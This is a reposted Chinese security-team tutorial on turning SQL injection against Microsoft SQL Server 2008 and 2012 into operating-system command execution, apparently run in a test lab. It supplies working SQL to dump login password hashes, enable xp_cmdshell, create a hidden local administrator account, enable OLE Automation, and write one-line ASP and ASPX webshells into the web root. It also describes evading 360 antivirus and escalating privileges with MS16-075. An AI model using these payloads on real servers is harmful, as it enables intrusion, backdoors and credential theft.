0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

sql server执行os-shell

jf_vLt34KHi 来源:Tide安全团队 作者:Tide安全团队 2022-10-24 17:42 次阅读

1 sql server执行os-shell

条件:数据库权限必须是dba权限可利用sql-shll进行命令执行,部分常用ql语句:

查看版本:SELECT @@version
查看连接用户:
SELECTORIGINAL_LOGIN(),APP_NAME(),CONNECTIONPROPERTY('CLIENT_NET_ADDRESS'),CONNECTIONPROPERTY('PROTOCOL_TYPE')
查询所有数据库名称
selectnamefrommaster.dbo.sysdatabases;
查看用户hash:
selectname,sys.fn_varbintohexstr(password_hash)fromsys.sql_logins
查看数据库账号密码:
selectname,sys.fn_varbintohexstr(password_hash)frommaster.sys.sql_logins;


查看数据库中表名:

SELECTSysObjects.nameASTablenameFROMsysobjectsWHERExtype='U'andsysstat<200

exec xp_dirtree 'c:'        # 列出所有c:文件、目录、子目录exec xp_dirtree 'c:',1      # 只列c:目录
exec xp_dirtree 'c:',1,1    # 列c:目录、文件
exec xp_subdirs 'C:';       # 只列c:目录
select is_srvrolemember('sysadmin') # 判断是否是SA权限
select is_member('db_owner')        # 判断是否是db_owner权限
select is_srvrolemember('public')   # 判断是否是public权限
创建用户:
exec master..xp_cmdshell "net user test12 123.com add"

exec master..xp_cmdshell "net localgroup administrators test12 add"

exec master..xp_cmdshell "net user test12"
读取文档内容
create table files(line varchar(1024))

bulk insert  files from 'C:inetpubaa.asp'

select * from files

5f740008-537d-11ed-a3b6-dac502259ad0.png


默认新建的用户只有public权限, sqlserver数据库进行os-shell执行,主要是利用开启xp_cmdshell进行命令执行,通过命令执行查看,返回结果为1,说明是存在xp_cmdshell,该命令只能证明是否存在xp_cmdshell,并不能证明可执行xp_cmdshell

selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'
5fbea392-537d-11ed-a3b6-dac502259ad0.png

1.1针对sqlserver2008测试

1.1 当前用户不是dba

在当前用户不为dba情况,利用sqlmap执行os-shell,提示如下:

5ffef44c-537d-11ed-a3b6-dac502259ad0.png


非dba权限的用户即使在开启xpcmdshell的情况下也无法进行命令执行,提示没有权限:

603d00ca-537d-11ed-a3b6-dac502259ad0.png


dba权限在未开启cmdshell情况下执行命令提示如下:当非dba权限尝试开启cmdshell时提示没有该操作权限:

60659904-537d-11ed-a3b6-dac502259ad0.png


所以这就是为什么在我们发现sql注入的时候,如果当前用户不是dba权限的情况下无法进行命令执行。

1.2 当前用户为dba

在进行注入时,如果当前用户为dba,可尝试利用如下命令手动开启xpcmd_shell

EXECsp_configure'showadvancedoptions',1;
RECONFIGURE;
EXECsp_configure'xp_cmdshell',1;
RECONFIGURE;

接下来分析下sqlmap如何去检测和开启xp_cmdshell,通过抓取数据包发现,开启cmdshell命令如下:

;EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--

当尝试利用os-shell无法开启时,可尝试利用sql-shell开启,xpcmd_shell,本次在测试时发现,直接在sql-shell中执行上述4条开启的语句无法开启成功,可尝试拼接sql语句进行开启

selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell';EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--
查询语句为查看xpcmd_shell组件的命令,执行语句后返回结果1,即为查询成功:

607de8e2-537d-11ed-a3b6-dac502259ad0.png


判断是否存在站库分离:

selecthost_name();//主机名
select@@servername;//服务器名
//如果相同则代表数据库和web在同一台机器上面
执行后发现返回的服务器名称相同,可见未进行站库分离,如下图:

6099d7f0-537d-11ed-a3b6-dac502259ad0.png


即使主机上安装有360等安全设备,执行该命令后,也可以将xpcmd_shell组件开启,通过测试发现,主机上杀毒软件拦截只有在调用xpcmd_shell进行命令执行时才会进行拦截

60b32ac0-537d-11ed-a3b6-dac502259ad0.png

1.3 xpcmd_shell为什么无法执行命令

在没有防护的情况下,可利用sqlmap正常开启xpcmd_shell进行命令执行,但是很多情况下会发现 无法进行命令执行,sqlmap提示如下:

60c98db0-537d-11ed-a3b6-dac502259ad0.png


此时可能原因是对服务器上安装有安全软件,本次测试在测试环境中安全了360安全软件,可在调用xpcmd_shell组件时,被安全软件拦截

60f1cb9a-537d-11ed-a3b6-dac502259ad0.png


思路一:如果在已知sqlserver账户密码的情况下,利用navicat连接数据库进行手动写入shell:开启sp_OACreate组件

EXECsp_configure'showadvancedoptions',1;
RECONFIGUREWITHOVERRIDE;
EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;
EXECsp_configure'showadvancedoptions',0;

利用文件存储先写入文件:

declare@oint,@fint,@tint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:inetpubaa.asp',1
exec@ret=sp_oamethod@f,'writeline',NULL,'<%execute(request("a"))%>'
6128e1ac-537d-11ed-a3b6-dac502259ad0.png
可成功在c盘inetpub路径下写入aa.asp文件,shell的写入路径可利用execute master..xp_dirtree命令进行查找
executemaster..xp_dirtree'c:/inetpub/test/',1,1

6159f8a0-537d-11ed-a3b6-dac502259ad0.png


利用上述方法的前提是在已经知道sqlsever数据库的的管理账号密码,可利用--passwords 参数查看。思路二:假如未能成功登录,可先通过查看网站路径,在写入shell方式,步骤如下:1、新建tmp表格,并将master..xp_dirtree的存储结果保存到表格中,命令如下:

CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:',1,1;
可在sql-shell中执行,执行效果如下:
617a9218-537d-11ed-a3b6-dac502259ad0.png

也可通过注入点直接执行,执行效果如下:

61abaf92-537d-11ed-a3b6-dac502259ad0.png

直接在sql-shell中执行命令查看结果:select * from test.tmp

61c77682-537d-11ed-a3b6-dac502259ad0.png

可发现存在inetpub目录,接着在查看改目录下文件,为了防止目录过多,可尝试删除之前tmp在重新表格,存储新目录下的数据,删除表格直接执行drop table tmp,可在利用select 查询重新确定下是否删除成功。新建表格命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:/inetpub/',1,1;
62229dfa-537d-11ed-a3b6-dac502259ad0.png

在用select命令进行查看,

6263f4b2-537d-11ed-a3b6-dac502259ad0.png

利用该方法慢慢找到网站的路径,可能就是比较慢,通过测试发现该种方法是不会被主机上的杀软拦截的。找到根目录后用Scripting.FileSystemObject中CreateTextFile和WriteLine来实现写入webshell,sql-shell执行命令如下,前提时先开启sp_OACreate,开启脚本如下:
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;

写入shell脚本:

declare@fint,@gint;execsp_oacreate'Scripting.FileSystemObject',@foutput;EXECSP_OAMETHOD@f,'CreateTextFile',@fOUTPUT,'c:inetpub	est	est.aspx',1;EXECsp_oamethod@f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可成功写入一句话木马,如下图:

6283280a-537d-11ed-a3b6-dac502259ad0.png
利用蚁剑可成功连接shell
62a9611e-537d-11ed-a3b6-dac502259ad0.png

只是此时权限较低,是iis权限需要进行进一步提权。在进行提权时系统安装360可能不能成功,此时可尝试低权限上线cs,然后利用cs提权,需要进行360绕过,也可采用sqlserver的sqlps.exe文件进行命令执行,不管时利用哪种方式,此时考察的就是免杀能力了。

1.2 sqlserver 2012测试

之前验证了sqlserver 2008如何通过sql注入获取系统shell,主要是通过调用xpcmd_shell,但是当服务器上存在杀毒软件时无法进行开启,此时可尝试sql-shell,寻找网站目录,然后写入一句话木马的方式,只是写入的shell权限比较低,接下来尝试利用sqlserver2012进行测试。

1.2.1 无杀软执行xpcmd_shell

sqlserver2012默认cpcmd_shell也是关闭的,当服务器主机不存在杀软时,可直接执行os-shell,进行命令执行。

62c63f14-537d-11ed-a3b6-dac502259ad0.png

此时可通过执行pwershell直接上线cs,但是此时上线的权限为sqlserver,可通过ms16-075进行提权到system,然后在进行后渗透即可,在不存在杀软的情况下相对比较顺利,接下来看下如何绕过杀软上传shell。
630ff398-537d-11ed-a3b6-dac502259ad0.png

1.2.2绕过杀软上传shell

主机上安装360,直接通过sqlmap执行os-shell会被拦截,尝试sql-shell进行命令执行,步骤和2008大致基本相同,先通过xp_dirtree慢慢找到网站路径,在开启sp_OACreate,最后写入shell。

declare@oint,@fint,@tint,@retint;execsp_oacreate'scripting.filesystemobject',@oout;execsp_oamethod@o,'createtextfile',@fout,'e:	est123.asp',1;exec@ret=sp_oamethod@f,'writeline',NULL,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

可尝试利用判断是否写入成功

create table sssss (line varchar(1024));bulk insert  sssss from 'e:	est123.asp';select * from sssss
63aa9434-537d-11ed-a3b6-dac502259ad0.png63d35770-537d-11ed-a3b6-dac502259ad0.png

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • SQL
    SQL
    +关注

    关注

    1

    文章

    759

    浏览量

    44060
  • Server
    +关注

    关注

    0

    文章

    90

    浏览量

    23999
  • 数据库
    +关注

    关注

    7

    文章

    3759

    浏览量

    64265
  • Shell
    +关注

    关注

    1

    文章

    363

    浏览量

    23287

原文标题:1 sql server执行os-shell

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    labview连接SQL server方法

    for ODBC Drivers: [Microsoft][ODBC SQL Server Driver][SQL Server]用户 '(null)' 登录失败
    发表于 12-15 16:45

    sql server 2000常用函数大全

    sql server
    发表于 09-28 08:28 0次下载

    SQL Server精华(CHM)

    SQL Server精华(CHM)察看与修改DTS包属性 Microsoft? SQL Server? 2000的数据转换服务允许您透过「DTS设计器」
    发表于 12-26 14:06 215次下载

    SQL Server 2000菜鸟入门

    SQL Server 2000企业版安装教程(一) SQL Server 2000企业版安装教程(二) SQL
    发表于 12-26 14:08 36次下载

    数据库与SQL Server 2005教程

    SQL Server Management Studio(可称为SQL Server集成管理器,简写为Management Studio
    发表于 04-10 17:43 0次下载

    SQL Server系统概述课程

        本章要点           本章主要介绍:SQL Server 2005的概况
    发表于 04-14 15:54 0次下载

    Windows SQL Server 安全检查列表

    Windows SQL Server 安全检查列表 1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一
    发表于 01-29 11:13 343次阅读

    SQL Server 2005编程入门视频

    SQL Server 2005编程入门视频!资料来源网络,如有侵权,敬请见谅
    发表于 11-20 15:11 8次下载

    数据库教程之SQL SERVER环境的详细资料说明

    本文档的主要内容详细介绍的是数据库教程之SQL SERVER环境的详细资料说明主要内容包括了:1 SQL Server 概述2 SQL
    发表于 12-18 15:07 14次下载

    SQL Server 2005数据库的应用手册

    SQL Server是基于服务器端的中型的数据库,可以适合大容量数据的应用,在功能上管理上要比Access要强得多。下面我们以Microsoft SQL Server 2005为例简单
    发表于 01-10 08:00 13次下载
    <b class='flag-5'>SQL</b> <b class='flag-5'>Server</b> 2005数据库的应用手册

    SQL的max server memory参数应该如何设置

    本文档的主要内容详细介绍的是SQL的max server memory参数应该如何设置。1.选择“开始/所有程序/Microsoft SQL Server 2005/
    发表于 09-24 16:36 6次下载

    LABVIEW与SQL SERVER的连接方法详细说明

     在用 LABVIEW 进行数据采集分析过程中,一般会用到数据库。在数据量很大的场合,可考虑使用 SQL SERVER 。下面就介绍 LABVIEW 与 SQL SERVER 的连接方
    发表于 12-24 08:00 43次下载
    LABVIEW与<b class='flag-5'>SQL</b> <b class='flag-5'>SERVER</b>的连接方法详细说明

    基于LABVIEW的SQL Server数据库操作教程

    基于LABVIEW的SQL Server数据库操作教程
    发表于 09-13 14:54 92次下载

    SQL Server组件有哪些?

    SQL Server组件有哪些?SQL Server数据库引擎由四个基本组件组成。无论我们的SQL Se
    的头像 发表于 04-14 16:51 1449次阅读

    mysql和sql server区别

    MySQL和SQL Server是两种常见的关系型数据库管理系统(RDBMS),用于存储和管理数据库。虽然它们都支持SQL语言,但在其他方面存在一些显著的区别。以下是MySQL和SQL
    的头像 发表于 11-21 11:07 1473次阅读